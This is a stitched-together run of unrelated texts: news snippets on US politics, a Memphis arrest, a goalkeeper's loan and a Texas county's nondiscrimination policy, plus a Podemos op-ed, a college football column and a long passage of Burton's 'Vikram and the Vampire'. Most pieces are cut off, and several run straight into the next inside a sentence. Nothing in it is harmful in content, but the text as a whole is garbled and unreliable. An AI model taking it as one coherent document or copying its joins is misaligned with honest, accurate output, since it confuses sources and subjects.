But Trump’s open disagreement with his own running mate on a central foreign policy issue was immediately seized on by Clinton campaign surrogates, and it prompted speculation of a new rift between Trump and Pence. “It’s shocking,” Missouri Democratic Sen. Claire McCaskill said about Trump’s admission that he and Pence had not discussed what to do about Syria.
But Sean Spicer, chief Republican Party spokesman, said that Pence — who was not present for the debate and canceled an appearance in Wisconsin on Saturday — had spoken to GOP Chairman Reince Priebus after the debate, adding that he understood that Pence had praised Trump’s debate performance.
_____Associated Press Tue Oct 15, 2013 2:34 PM
MEMPHIS, Tenn. — It cost Danny Smith more than a penny to express his thoughts after buying a beer at a Memphis store.
The Commercial Appeal reported (http://bit.ly/1budVmi ) that police arrested Smith, 51, after he called 911 twice on Monday, then called a non-emergency number after being dissatisfied. His complaint: The clerk at the store overcharged him by a penny.
The calls started just after 4 p.m. after Smith bought a 16-ounce Heineken.
The store clerk refused to hand over the penny Smith demanded, so he called 911. Police arrived and told Smith it was a civil matter.
After the third call to police in his quest for a penny, officers arrested Smith.
Bonding out of jail cost him $250. Jail records did not list an attorney for Smith.Danny Ward playing for Liverpool's under-21 side in 2013
Aberdeen have signed goalkeeper Danny Ward from Liverpool on a season-long loan.
Ward, 22, has been capped up to under-21 level with Wales and has previously been loaned by Liverpool to Morecambe.
He started his career with Wrexham, having a brief loan at Tamworth in 2011, before moving to Anfield the following the year.
"I am delighted to get Danny on board," Aberdeen manager Derek McInnes told his club website.
"He is a young goalkeeper we have been aware of for some time. We are thankful to Liverpool and [manager] Brendan [Rodgers] in particular for allowing this to happen.
"He is someone who is highly regarded at his club and they see the importance of getting him out on loan. Danny now has the task and challenge of playing football at a good level with us.
"We have real competition for places in all areas of the team, and we certainly now have that in the goalkeeping position."
Ward, who has made six senior appearances in his career, will be competing with Englishman Scott Brown, 30, and Scotsman Jamie Langfield, 35, for the Dons' goalkeeping position.Click here for the Newsweek site. Or…
Last July, Mariano Rajoy, Spain’s conservative prime minister, exited a 17-hour-long European Council meeting dedicated to Greece, wielding in front of the cameras the surrender document that his Greek counterpart, Alexis Tsipras, had just signed. Staring into the camera he told the Spanish people watching at home: “This is what you get by voting for parties like Syriza.”
The crushing of the Athens Spring, together with the soothing fairytale of Spain’s economic “recovery,” was meant to stem the rise of Podemos (a.k.a Spain’s answer to Syriza) and to lead Rajoy to a general election victory in December 2015. Alas, voters had other ideas, denying Rajoy a working majority, giving Podemos a larger share than the pollsters had predicted, and producing a hung parliament.
Since then, frantic negotiations between Rajoy’s People’s Party, the fading Socialists led by Pedro Sanchez, the newfangled neoliberal Citizens’ party and Podemos have failed to produce a coalition government, triggering a fresh general election. The new contest’s outcome will hinge on whether Podemos manages to rise from third to second place, pushing the Socialists into a fate similar to that suffered by the Greek socialists (PASOK) and awaiting the French socialists next year.
If Podemos fails, a grand coalition of the establishment parties, possibly with the addition of the Citizens’ party, is on the cards. But if Podemos manages to shrug off Syriza’s humiliation and overcome Rajoy’s fear mongering to become the second largest party, another hung parliament will spell the end of the two-party system. This will yield a Madrid government inimical to the troika and the ironclad majority that the German Finance Minister Wolfgang Schäuble has surrounded himself with in the Eurogroup.
Such a development would spell trouble for Europe’s frazzled establishment which, for this reason, is now trying to rush through a new Greek austerity package before the end of May. The hope is to trap Athens into permanent debt bondage before the Spanish voters deliver a verdict likely to alter the balance of power within the Eurogroup.
But will Podemos manage to overtake the Socialists? This prospect has better odds now, compared to last December, for three reasons.
First, Spain’s voters have already tasted the ruling party’s blood last December and they seem to like it.
Second, they now have more evidence at their disposal that the troika and the Schäuble-leaning Eurogroup are out of their depth everywhere in Europe—just witness the row between Schäuble and the President of the European Central Bank over monetary policy.
Third, and more important, Podemos has recently struck an agreement with Izquierda Unida (United Left), Spain’s traditional leftwing party that gathered one million votes last December. Together with other convergent forces (the Mareas, Barcelona en Comú, Coalició Compromís), Podemos is building up a dynamic that can score at the ballot box more than the sum of its parts.
But Podemos’s greatest weakness, besides Syriza’s capitulation last summer, is its lack of a coherent European agenda and its silence on how it will deal with the Eurogroup and the European Central Bank, institutions that will most likely begin asphyxiating a Podemos-centred government even before its appointment.
A majority of Spanish voters are keen to see a new government taking on the troika institutions. But they need to know how a Podemos government will counter them—what new policies Madrid will propose, not just for Spain but as an alternative to the current policy mix that increasingly jeopardises the Eurozone’s integrity.
Last December, Podemos made the mistake of opposing austerity at home without spelling out a program for altering the Eurozone’s “business plan,” within which Spain’s austerian fiscal policy is embedded. A government representing the monetary union’s fourth largest economy has to have clear proposals for the euro area as a whole.
Without a plan for ending the deflationary process everywhere, Podemos’ promise to end austerity in Spain rings hollow. And many Spanish voters, who might otherwise jump on the Podemos-United Left bandwagon, are deterred.
Podemos’s demand for an end to austerity is increasingly timely. Facing a domestic backlash, Rajoy has already asked Brussels for leniency over Spain’s deficit targets while José García Margallo, his foreign minister, confessed the other day that “we went too far with austerity”—clarifying later that by “we” he meant the European Commission. Nonetheless, Podemos must do better than simply ask for (as Rajoy and Matteo Renzi, Italy’s prime minister, do) leniency and the right to violate the Eurozone’s fiscal pact. The party must impress voters with an imaginative program that can boost growth and address debt-deflation throughout Europe.
Such a program should involve a pan-European investment-led recovery initiative, to the tune of 8 percent of the Eurozone’s aggregate income, run by the European Investment Bank and funded through a large issuance of the EIB’s own bonds, with the European Central Bank standing by to purchase these bonds in the secondary markets as the need arises.
It would also involve central bank operations for reducing member state’s debt servicing costs for the part of the national debt permitted by the existing rules (60 percent of national income), direct bank recapitalisations from the European Stability Mechanism and, last but not least, a poverty-fighting program funded from the profits accumulating within the Target Two account of the European System of Central Banks.
Such a European Agenda would blow auspicious winds into Podemos’ sails and make the next election a true game changer for Spain and for Europe. It would counter the scaremongering campaign that the Popular and Citizens’ parties are beginning to wage against the Left and would, more generally, lift the level of political debate everywhere.
Europe is on the brink and our “Union” is disintegrating as a result of a pernicious mixture of authoritarianism and bad policy. Spain can change this. But to do so, Podemos must rise on the back of an appealing European Agenda.Commissioners In Waco Allegedly Threatened HR Director With Negative Performance Review Over Change
McLennan County, Texas, has rescinded nondiscrimination language that was added to its job applications last year, with one commissioner comparing LGBT people to purple-and-white zebras.
The McLennan County seat is Waco, which is home to Baylor University, one of the nation's most anti-LGBT schools. Recently, three billboard ads promoting the dangerous, discredited practice of "ex-gay" therapy went up in Waco, but LGBT activists reportedly have convinced the owner of the billboards to take down the ads.
The Waco Tribune-Herald reports that last year, the Commissioners Court hired a progressive new human resources manager, Amanda Talbert, with the stated goal of bringing the county into the future. Shortly after being hired, Talbert added sexual orientation and gender identity to the nondiscrimination statement on county employment applications, under the description of "sex."
"I take discrimination very seriously and I want to do everything we can to show that we don't discriminate," Talbert said.
Commissioners were initially supportive of the change.
"I wouldn't think anybody on the court would hesitate to bring all this up to date," County Judge Scott Felton, who chairs the Commissioners Court, said at the time.
However, after the Tribune-Herald published its story about the change, commissioners began approaching Talbert and demanding that she remove the new language, even allegedly threatening her with a negative performance review.
Now, a majority of commissioners say they oppose adding LGBT nondiscrimination protections to the county's employee handbook, which Talbert has also been working to update.
"Commissioner Kelly Snell (pictured) asked if the county starts adding protection clauses to the nondiscrimination policy, when would they draw the line and stop?" the Tribune-Herald reports. "Snell said someone could then want to include purple and white zebras in the county's nondiscrimination policy."
Felton now says Talbert should have gotten the court's approval before updating the job applications.
"I don't believe that the commissioners court discriminates. I'm not saying discrimination doesn't happen," Felton said. "The basic thing we want to know is, 'What does the law say we need to be doing?'"
The short answer to Felton's question is, the law says the county can't discriminate against LGBT employees.
The U.S. Equal Employment Opportunity Commission has taken the position that LGBT people are covered under Title VII of the Civil Rights Act, which prohibits discrimination based on sex. And in recent years, federal courts have agreed.
In addition, federal courts have held that LGBT public sector employees are covered under the equal protection clause of the 14th Amendment.
So, while the county isn't legally required to add sexual orientation and gender identity to its written nondiscrimination policy, it would behoove commissioners to do so if they want to reduce potential liability — not to mention the talent recruitment and economic development benefits.
Sadly, though — and despite their lip service — commissioners don't really appear ready to bring McLennan County into the future, or even the 21st century.
Image from Duke Machado via YouTube
See a mistake? Email corrections to: [email protected]Forty names, games, teams and minutiae making news in college football (where it sure is a good thing that the 11-day internal investigation at Ohio State (1) last winter got to the bottom of everything):
These are stressful times we live in. The economy is shaky. Politics is divisive. Educational statistics are depressing.
The last thing you need on top of life's larger troubles is a dysfunctional team to root for. It could push a fan over the edge.
So come in and hit the couch; The Dash is here to save your mental health. Bring your id, your ego, your superego and your superconference realignment fears with you. You unburden, The Dash takes notes.
Hopefully in the end, we avert another Harvey Updyke (2) situation.
In launching college football on its journey of personal and spiritual discovery, it is time to psychoanalyze the sport and identify those most in need of help. Remember, we cannot treat the problem until we diagnose it. These are the most acute cases to date:
Shame spiral
These teams keep lapsing into patterns self-destructive behavior:
The Gaggies (3). That would be Texas A&M and Utah State. They share a nickname, and they share a pitiful personality trait -- they cannot close out a big game.
Texas A&M has suffered last-minute lossess in back-to-back weeks -- but there's another Aggies team that might have it worse. Ronald Martinez/Getty Images
In successive weeks, Texas A&M (2-2) has blown large second-half leads in big games. At home against Oklahoma State on Sept. 24, the Aggies were up 20-3 at halftime before surrendering 27 unanswered points in a 30-29 loss. In a neutral-field setting against Arkansas on Saturday, the Aggies were up 18 before being outscored 25-3 in the second half and losing 42-38.
"It's a travesty that we didn't win this football game," A&M coach Mike Sherman said Saturday. Though he could have said it the previous week as well.
Against the Cowboys, Sherman abandoned his productive running game in the second half. He didn't do that against Arkansas, but conservative decisions to punt on two fourth-and-short situations wound up backfiring when the Razorbacks drove for scores after both punts.
The one common theme in both collapses has been an inability to produce turnovers. The Southwest Aggies have forced just three on the year, and one of those was a gift -- Oklahoma State receiver Justin Blackmon's unforced fumble through the end zone.
The only team in America that has been worse at playing with a lead is Utah State (1-3). The Rocky Mountain Aggies have found masochistic ways to lose late to Auburn, Colorado State and Brigham Young.
There was the onside kick they failed to field against Auburn, helping the Tigers score 10 points in the final couple of minutes and win 42-38. There was the fumbled punt that set up CSU at the Utah State 15-yard line with just more than two minutes left, helping the Rams score the tying touchdown and two-point conversion on the way to a 35-34 overtime victory. And then there was the karmic shiv to the ribs from ancient rival BYU.
Utah State led 24-13 in the final quarter, then watched an excitable backup quarterback lead the Cougars on two touchdown drives. The last one covered 96 yards and culminated in a tipped-ball touchdown pass with 11 seconds left. That completed a trilogy of gut-busters in which the Aggies trailed for only 12 minutes and 45 seconds.
Paul Pasqualoni has struggled in his first season at UConn. AP Photo/Jessica Hill
Connecticut (4). The Huskies are following the grand Big East tradition of going from BCS bowl to futility in consecutive years. (Pittsburgh: Fiesta Bowl in 2004, 5-6 in '05. Louisville: Orange Bowl in 2006, 6-6 in '07. Cincinnati: Sugar Bowl in 2009, 4-8 in '10.) UConn's victories are humble (Buffalo and Fordham) and its losses are humbling (Vanderbilt, Iowa State, Western Michigan). And now the Atlantic Coast Conference may be applying the brakes to expansion after UConn announced its interest in joining the Big East migration to that league.
TCU (5). A program that broke down BCS barriers with its defense is now |
from a funeral pyre, and his eyes, fixed as those of a statue, gleamed from this mask with an infernal light of hate. His cheeks were shaven, and he had not forgotten to draw the horizontal sectarian mark. But this was of blood; and Vikram, as he drew near saw that he was playing upon a human skull with two shank bones, making music for the horrid revelry.
Now Raja Vikram, as has been shown by his encounter with Indra’s watchman, was a bold prince, and he was cautious as he was brave. The sight of a human being in the midst of these terrors raised his mettle; he determined to prove himself a hero, and feeling that the critical moment was now come, he hoped to rid himself and his house forever of the family curse that hovered over them.
For a moment he thought of the giant’s words, “And remember that it is lawful and right to strike off his head that would slay thee.” A stroke with his good sword might at once and effectually put an end to the danger. But then he remembered that he had passed his royal word to do the devotee’s bidding that night. Besides, he felt assured that the hour for action had not yet sounded.
These reflections having passed through his mind with the rapid course of a star that has lost its honours,[40] Vikram courteously saluted Shanta-Shil. The jogi briefly replied, “Come sit down, both of ye.” The father and son took their places, by no means surprised or frightened by the devil dances before and around them. Presently the valiant Raja reminded the devotee that he was come to perform his promise, and lastly asked, “What commands are there for us?”
The jogi replied, “O king, since you have come, just perform one piece of business. About two kos[41] hence, in a southerly direction, there is another place where dead bodies are burned; and in that place is a mimosa tree, on which a body is hanging. Bring it to me immediately.”
Raja Vikram took his son’s hand, unwilling to leave him in such company; and, catching up a fire-brand, went rapidly away in the proper direction. He was now certain that Shanta-Shil was the anchorite who, enraged by his father, had resolved his destruction; and his uppermost thought was a firm resolve “to breakfast upon his enemy, ere his enemy could dine upon him.” He muttered this old saying as he went, whilst the tom-toming of the anchorite upon the skull resounded in his ears, and the devil-crowd, which had held its peace during his meeting with Shanta-Shil, broke out again in an infernal din of whoops and screams, yells and laughter.
The darkness of the night was frightful, the gloom deepened till it was hardly possible to walk. The clouds opened their fountains, raining so that you would say they could never rain again. Lightning blazed forth with more than the light of day, and the roar of the thunder caused the earth to shake. Baleful gleams tipped the black cones of the trees and fitfully scampered like fireflies over the waste. Unclean goblins dogged the travellers and threw themselves upon the ground in their path and obstructed them in a thousand different ways. Huge snakes, whose mouths distilled blood and black venom, kept clinging around their legs in the roughest part of the road, till they were persuaded to loose their hold either by the sword or by reciting a spell. In fact, there were so many horrors and such a tumult and noise that even a brave man would have faltered, yet the king kept on his way.
At length having passed over, somehow or other, a very difficult road, the Raja arrived at the smashana, or burning place pointed out by the jogi. Suddenly he sighted the tree where from root to top every branch and leaf was in a blaze of crimson flame. And when he, still dauntless, advanced towards it, a clamour continued to be raised, and voices kept crying, “Kill them! kill them! seize them! seize them! take care that they do not get away! let them scorch themselves to cinders! let them suffer the pains of Patala.[42]”
Far from being terrified by this state of things the valiant Raja increased in boldness, seeing a prospect of an end to his adventure. Approaching the tree he felt that the fire did not burn him, and so he sat there for a while to observe the body, which hung, head downwards, from a branch a little above him.
Its eyes, which were wide open, were of a greenish-brown, and never twinkled; its hair also was brown,[43] and brown was its face—three several shades which, notwithstanding, approached one another in an unpleasant way, as in an over-dried cocoa-nut. Its body was thin and ribbed like a skeleton or a bamboo framework, and as it held on to a bough, like a flying fox,[44] by the toe-tips, its drawn muscles stood out as if they were ropes of coin. Blood it appeared to have none, or there would have been a decided determination of that curious juice to the head; and as the Raja handled its skin it felt icy cold and clammy as might a snake. The only sign of life was the whisking of a ragged little tail much resembling a goat’s.
Judging from these signs the brave king at once determined the creature to be a Baital—a Vampire. For a short time he was puzzled to reconcile the appearance with the words of the giant, who informed him that the anchorite had hung the oilman’s son to a tree. But soon he explained to himself the difficulty, remembering the exceeding cunning of jogis and other reverend men, and determining that his enemy, the better to deceive him, had doubtless altered the shape and form of the young oilman’s body.
With this idea, Vikram was pleased, saying, “My trouble has been productive of fruit.” Remained the task of carrying the Vampire to Shanta-Shil the devotee. Having taken his sword, the Raja fearlessly climbed the tree, and ordering his son to stand away from below, clutched the Vampire’s hair with one hand, and with the other struck such a blow of the sword, that the bough was cut and the thing fell heavily upon the ground. Immediately on falling it gnashed its teeth and began to utter a loud wailing cry like the screams of an infant in pain. Vikram having heard the sound of its lamentations, was pleased, and began to say to himself, “This devil must be alive.” Then nimbly sliding down the trunk, he made a captive of the body, and asked “Who art thou?”
Scarcely, however, had the words passed the royal lips, when the Vampire slipped through the fingers like a worm, and uttering a loud shout of laughter, rose in the air with its legs uppermost, and as before suspended itself by its toes to another bough. And there it swung to and fro, moved by the violence of its cachinnation.
“Decidedly this is the young oilman!” exclaimed the Raja, after he had stood for a minute or two with mouth open, gazing upwards and wondering what he should do next. Presently he directed Dharma Dhwaj not to lose an instant in laying hands upon the thing when it next might touch the ground, and then he again swarmed up the tree. Having reached his former position, he once more seized the Baital’s hair, and with all the force of his arms—for he was beginning to feel really angry—he tore it from its hold and dashed it to the ground, saying, “O wretch, tell me who thou art?”
Then, as before, the Raja slid deftly down the trunk, and hurried to the aid of his son, who in obedience to orders, had fixed his grasp upon the Vampire’s neck. Then, too, as before, the Vampire, laughing aloud, slipped through their fingers and returned to its dangling-place.
To fail twice was too much for Raja Vikram’s temper, which was right kingly and somewhat hot. This time he bade his son strike the Baital’s head with his sword. Then, more like a wounded bear of Himalaya than a prince who had established an era, he hurried up the tree, and directed a furious blow with his sabre at the Vampire’s lean and calfless legs. The violence of the stroke made its toes loose their hold of the bough, and when it touched the ground, Dharma Dhwaj’s blade fell heavily upon its matted brown hair. But the blows appeared to have lighted on iron-wood—to judge at least from the behaviour of the Baital, who no sooner heard the question, “O wretch, who art thou?” than it returned in loud glee and merriment to its old position.
Five mortal times did Raja Vikram repeat this profitless labour. But so far from losing heart, he quite entered into the spirit of the adventure. Indeed he would have continued climbing up that tree and taking that corpse under his arm—he found his sword useless—and bringing it down, and asking it who it was, and seeing it slip through his fingers, six times sixty times, or till the end of the fourth and present age,[45] had such extreme resolution been required.
However, it was not necessary. On the seventh time of falling, the Baital, instead of eluding its capturer’s grasp, allowed itself to be seized, merely remarking that “even the gods cannot resist a thoroughly obstinate man."[46] And seeing that the stranger, for the better protection of his prize, had stripped off his waistcloth and was making it into a bag, the Vampire thought proper to seek the most favourable conditions for himself, and asked his conqueror who he was, and what he was about to do?
“Vile wretch,” replied the breathless hero, “know me to be Vikram the Great, Raja of Ujjayani, and I bear thee to a man who is amusing himself by drumming to devils on a skull.”
“Remember the old saying, mighty Vikram!” said the Baital, with a sneer, “that many a tongue has cut many a throat. I have yielded to thy resolution and I am about to accompany thee, bound to thy back like a beggar’s wallet. But hearken to my words, ere we set out upon the way. I am of a loquacious disposition, and it is well nigh an hour’s walk between this tree and the place where thy friend sits, favouring his friends with the peculiar music which they love. Therefore, I shall try to distract my thoughts, which otherwise might not be of the most pleasing nature, by means of sprightly tales and profitable reflections. Sages and men of sense spend their days in the delights of light and heavy literature, whereas dolts and fools waste time in sleep and idleness. And I purpose to ask thee a number of questions, concerning which we will, if it seems fit to thee, make this covenant:
“Whenever thou answerest me, either compelled by Fate or entrapped by my cunning into so doing, or thereby gratifying thy vanity and conceit, I leave thee and return to my favourite place and position in the siras-tree, but when thou shalt remain silent, confused, and at a loss to reply, either through humility or thereby confessing thine ignorance, and impotence, and want of comprehension, then will I allow thee, of mine own free will, to place me before thine employer. Perhaps I should not say so; it may sound like bribing thee, but—take my counsel, and mortify thy pride, and assumption, and arrogance, and haughtiness, as soon as possible. So shalt thou derive from me a benefit which none but myself can bestow.”
Raja Vikram hearing these rough words, so strange to his royal ear, winced; then he rejoiced that his heir apparent was not near; then he looked round at his son Dharma Dhwaj, to see if he was impertinent enough to be amused by the Baital. But the first glance showed him the young prince busily employed in pinching and screwing the monster’s legs, so as to make it fit better into the cloth. Vikram then seized the ends of the waistcloth, twisted them into a convenient form for handling, stooped, raised the bundle with a jerk, tossed it over his shoulder, and bidding his son not to lag behind, set off at a round pace towards the western end of the cemetery.
The shower had ceased, and, as they gained ground, the weather greatly improved.
The Vampire asked a few indifferent questions about the wind and the rain and the mud. When he received no answer, he began to feel uncomfortable, and he broke out with these words: “O King Vikram, listen to the true story which I am about to tell thee.”
VIKRAM AND THE VAMPIRE
THE VAMPIRE’S FIRST STORY — In which a man deceives a woman.
In Benares once reigned a mighty prince, by name Pratapamukut, to whose eighth son Vajramukut happened the strangest adventure.
One morning, the young man, accompanied by the son of his father’s pradhan or prime minister, rode out hunting, and went far into the jungle. At last the twain unexpectedly came upon a beautiful “tank [47]” of a prodigious size. It was surrounded by short thick walls of fine baked brick; and flights and ramps of cut-stone steps, half the length of each face, and adorned with turrets, pendants, and finials, led down to the water. The substantial plaster work and the masonry had fallen into disrepair, and from the crevices sprang huge trees, under whose thick shade the breeze blew freshly, and on whose balmy branches the birds sang sweetly; the grey squirrels [48] chirruped joyously as they coursed one another up the gnarled trunks, and from the pendent llianas the longtailed monkeys were swinging sportively. The bountiful hand of Sravana [49] had spread the earthen rampart with a carpet of the softest grass and many-hued wild flowers, in which were buzzing swarms of bees and myriads of bright winged insects; and flocks of water fowl, wild geese, Brahmini ducks, bitterns, herons, and cranes, male and female, were feeding on the narrow strip of brilliant green that belted the long deep pool, amongst the broad-leaved lotuses with the lovely blossoms, splashing through the pellucid waves, and basking happily in the genial sun.
The prince and his friend wondered when they saw the beautiful tank in the midst of a wild forest, and made many vain conjectures about it. They dismounted, tethered their horses, and threw their weapons upon the ground; then, having washed their hands and faces, they entered a shrine dedicated to Mahadeva, and there began to worship the presiding deity.
Whilst they were making their offerings, a bevy of maidens, accompanied by a crowd of female slaves, descended the opposite flight of steps. They stood there for a time, talking and laughing and looking about them to see if any alligators infested the waters. When convinced that the tank was safe, they disrobed themselves in order to bathe. It was truly a splendid spectacle.
“Concerning which the less said the better,” interrupted Raja Vikram in an offended tone.[50]
—but did not last long. The Raja’s daughter—for the principal maiden was a princess—soon left her companions, who were scooping up water with their palms and dashing it over one another’s heads, and proceeded to perform the rites of purification, meditation, and worship. Then she began strolling with a friend under the shade of a small mango grove.
The prince also left his companion sitting in prayer, and walked forth into the forest. Suddenly the eyes of the Raja’s son and the Raja’s daughter met. She started back with a little scream. He was fascinated by her beauty, and began to say to himself, “O thou vile Karma,[51] why worriest thou me?”
Hearing this, the maiden smiled encouragement, but the poor youth, between palpitation of the heart and hesitation about what to say, was so confused that his tongue crave to his teeth. She raised her eyebrows a little. There is nothing which women despise in a man more than modesty, [52] for mo-des-ty—
A violent shaking of the bag which hung behind Vikram’s royal back broke off the end of this offensive sentence. And the warrior king did not cease that discipline till the Baital promised him to preserve more decorum in his observations.
Still the prince stood before her with downcast eyes and suffused cheeks: even the spur of contempt failed to arouse his energies. Then the maiden called to her friend, who was picking jasmine flowers so as not to witness the scene, and angrily asked why that strange man was allowed to stand and stare at her? The friend, in hot wrath, threatened to call the slave, and throw Vajramukut into the pond unless he instantly went away with his impudence. But as the prince was rooted to the spot, and really had not heard a word of what had been said to him, the two women were obliged to make the first move.
As they almost reached the tank, the beautiful maiden turned her head to see what the poor modest youth was doing.
Vajramukut was formed in every way to catch a woman’s eye. The Raja’s daughter therefore half forgave him his offence of mod——. Again she sweetly smiled, disclosing two rows of little opals. Then descending to the water’s edge, she stooped down and plucked a lotus. This she worshipped; next she placed it in her hair, then she put it in her ear, then she bit it with her teeth, then she trod upon it with her foot, then she raised it up again, and lastly she stuck it in her bosom. After which she mounted her conveyance and went home to her friends; whilst the prince, having become thoroughly desponding and drowned in grief at separation from her, returned to the minister’s son.
“Females!” ejaculated the minister’s son, speaking to himself in a careless tone, when, his prayer finished, he left the temple, and sat down upon the tank steps to enjoy the breeze. He presently drew a roll of paper from under his waist-belt, and in a short time was engrossed with his study. The women seeing this conduct, exerted themselves in every possible way of wile to attract his attention and to distract his soul. They succeeded only so far as to make him roll his head with a smile, and to remember that such is always the custom of man’s bane; after which he turned over a fresh page of manuscript. And although he presently began to wonder what had become of the prince his master, he did not look up even once from his study.
He was a philosopher, that young man. But after all, Raja Vikram, what is mortal philosophy? Nothing but another name for indifference! Who was ever philosophical about a thing truly loved or really hated?—no one! Philosophy, says Shankharacharya, is either a gift of nature or the reward of study. But I, the Baital, the devil, ask you, what is a born philosopher, save a man of cold desires? And what is a bred philosopher but a man who has survived his desires? A young philosopher?—a cold-blooded youth! An elderly philosopher?—a leuco-phlegmatic old man! Much nonsense, of a verity, ye hear in praise of nothing from your Rajaship’s Nine Gems of Science, and from sundry other such wise fools.
Then the prince began to relate the state of his case, saying, “O friend, I have seen a damsel, but whether she be a musician from Indra’s heaven, a maiden of the sea, a daughter of the serpent kings, or the child of an earthly Raja, I cannot say.”
“Describe her,” said the statesman in embryo.
“Her face,” quoth the prince, “was that of the full moon, her hair like a swarm of bees hanging from the blossoms of the acacia, the corners of her eyes touched her ears, her lips were sweet with lunar ambrosia, her waist was that of a lion, and her walk the walk of a king goose. [53] As a garment, she was white; as a season, the spring; as a flower, the jasmine; as a speaker, the kokila bird; as a perfume, musk; as a beauty, Kamadeva; and as a being, Love. And if she does not come into my possession I will not live; this I have certainly determined upon.”
The young minister, who had heard his prince say the same thing more than once before, did not attach great importance to these awful words. He merely remarked that, unless they mounted at once, night would surprise them in the forest. Then the two young men returned to their horses, untethered them, drew on their bridles, saddled them, and catching up their weapons, rode slowly towards the Raja’s palace. During the three hours of return hardly a word passed between the pair. Vajramukut not only avoided speaking; he never once replied till addressed thrice in the loudest voice.
The young minister put no more questions, “for,” quoth he to himself, “when the prince wants my counsel, he will apply for it.” In this point he had borrowed wisdom from his father, who held in peculiar horror the giving of unasked-for advice. So, when he saw that conversation was irksome to his master, he held his peace and meditated upon what he called his “day-thought.” It was his practice to choose every morning some tough food for reflection, and to chew the cud of it in his mind at times when, without such employment, his wits would have gone wool-gathering. You may imagine, Raja Vikram, that with a few years of this head work, the minister’s son became a very crafty young person.
After the second day the Prince Vajramukut, being restless from grief at separation, fretted himself into a fever. Having given up writing, reading, drinking, sleeping, the affairs entrusted to him by his father, and everything else, he sat down, as he said, to die. He used constantly to paint the portrait of the beautiful lotus gatherer, and to lie gazing upon it with tearful eyes; then he would start up and tear it to pieces and beat his forehead, and begin another picture of a yet more beautiful face.
At last, as the pradhan’s son had foreseen, he was summoned by the young Raja, whom he found upon his bed, looking yellow and complaining bitterly of headache. Frequent discussions upon the subject of the tender passion had passed between the two youths, and one of them had ever spoken of it so very disrespectfully that the other felt ashamed to introduce it. But when his friend, with a view to provoke communicativeness, advised a course of boiled and bitter herbs and great attention to diet, quoting the hemistich attributed to the learned physician Charndatta,
A fever starve, but feed a cold,
the unhappy Vajramukut’s fortitude abandoned him; he burst into tears, and exclaimed, “Whosoever enters upon the path of love cannot survive it; and if (by chance) he should live, what is life to him but a prolongation of his misery?”
“Yea,” replied the minister’s son, “the sage hath said—
“The road of love is that which hath no beginning nor end; Take thou heed of thyself, man I ere thou place foot upon it.
“And the wise, knowing that there are three things whose effect upon himself no man can foretell—namely, desire of woman, the dice-box, and the drinking of ardent spirits—find total abstinence from them the best of rules. Yet, after all, if there is no cow, we must milk the bull.”
The advice was, of course, excellent, but the hapless lover could not help thinking that on this occasion it came a little too late. However, after a pause he returned to the subject and said, “I have ventured to tread that dangerous way, be its end pain or pleasure, happiness or destruction.” He then hung down his head and sighed from the bottom of his heart.
“She is the person who appeared to us at the tank?” asked the pradhan’s son, moved to compassion by the state of his master.
The prince assented.
“O great king,” resumed the minister’s son, “at the time of going away had she said anything to you? or had you said anything to her?”
“Nothing!” replied the other laconically, when he found his friend beginning to take an interest in the affair.
“Then,” said the minister’s son, “it will be exceedingly difficult to get possession of her.”
“Then,” repeated the Raja’s son, “I am doomed to death; to an early and melancholy death!”
“Humph!” ejaculated the young statesman rather impatiently, “did she make any sign, or give any hint? Let me know all that happened: half confidences are worse than none.”
Upon which the prince related everything that took place by the side of the tank, bewailing the false shame which had made him dumb, and concluding with her pantomime.
The pradhan’s son took thought for a while. He thereupon seized the opportunity of representing to his master all the evil effects of bashfulness when women are concerned, and advised him, as he would be a happy lover, to brazen his countenance for the next interview.
Which the young Raja faithfully promised to do.
“And, now,” said the other, “be comforted, O my master! I know her name and her dwelling-place. When she suddenly plucked the lotus flower and worshipped it, she thanked the gods for having blessed her with a sight of your beauty.”
Vajramukut smiled, the first time for the last month.
“When she applied it to her ear, it was as if she would have explained to thee, ‘I am a daughter of the Carnatic: [54] and when she bit it with her teeth, she meant to say that ‘My father is Raja Dantawat, [55]’ who, by-the-bye, has been, is, and ever will be, a mortal foe to thy father.”
Vajramukut shuddered.
“When she put it under her foot it meant, ‘My name is Padmavati. [56]’”
Vajramukut uttered a cry of joy.
“And when she placed it in her bosom, ‘You are truly dwelling in my heart’ was meant to be understood.”
At these words the young Raja started up full of new life, and after praising with enthusiasm the wondrous sagacity of his dear friend, begged him by some contrivance to obtain the permission of his parents, and to conduct him to her city. The minister’s son easily got leave for Vajramukut to travel, under pretext that his body required change of water, and his mind change of scene. They both dressed and armed themselves for the journey, and having taken some jewels, mounted their horses and followed the road in that direction in which the princess had gone.
Arrived after some days at the capital of the Carnatic, the minister’s son having disguised his master and himself in the garb of travelling traders, alighted and pitched his little tent upon a clear bit of ground in one of the suburbs. He then proceeded to inquire for a wise woman, wanting, he said, to have his fortune told. When the prince asked him what this meant, he replied that elderly dames who professionally predict the future are never above ministering to the present, and therefore that, in such circumstances, they are the properest persons to be consulted.
“Is this a treatise upon the subject of immorality, devil?” demanded the King Vikram ferociously. The Baital declared that it was not, but that he must tell his story.
The person addressed pointed to an old woman who, seated before the door of her hut, was spinning at her wheel. Then the young men went up to her with polite salutations and said, “Mother, we are travelling traders, and our stock is coming after us; we have come on in advance for the purpose of finding a place to live in. If you will give us a house, we will remain there and pay you highly.”
The old woman, who was a physiognomist as well as a fortune-teller, looked at the faces of the young men and liked them, because their brows were wide, and their mouths denoted generosity. Having listened to their words, she took pity upon them and said kindly, “This hovel is yours, my masters, remain here as long as you please.” Then she led them into an inner room, again welcomed them, lamented the poorness of her abode, and begged them to lie down and rest themselves.
After some interval of time the old woman came to them once more, and sitting down began to gossip. The minister’s son upon this asked her, “How is it with thy family, thy relatives, and connections; and what are thy means of subsistence?” She replied, “My son is a favourite servant in the household of our great king Dantawat, and your slave is the wet-nurse of the Princess Padmavati, his eldest child. From the coming on of old age,” she added, “I dwell in this house, but the king provides for my eating and drinking. I go once a day to see the girl, who is a miracle of beauty and goodness, wit and accomplishments, and returning thence, I bear my own griefs at home. [57]”
In a few days the young Vajramukut had, by his liberality, soft speech, and good looks, made such progress in nurse Lakshmi’s affections that, by the advice of his companion, he ventured to broach the subject ever nearest his heart. He begged his hostess, when sheA group of LGBT advocacy organizations have jointly released a unique, groundbreaking publication to provide guidance to U.S. hospitals seeking to improve health care for transgender patients.
The publication — “Creating Equal Access to Quality Health Care for Transgender Patients” — answers many hospital administrators’ questions about transgender patients, shows them how to reduce bias and insensitivity, and addresses key issues such as confidentiality, room assignments, bathroom access, and admitting/registration procedures.
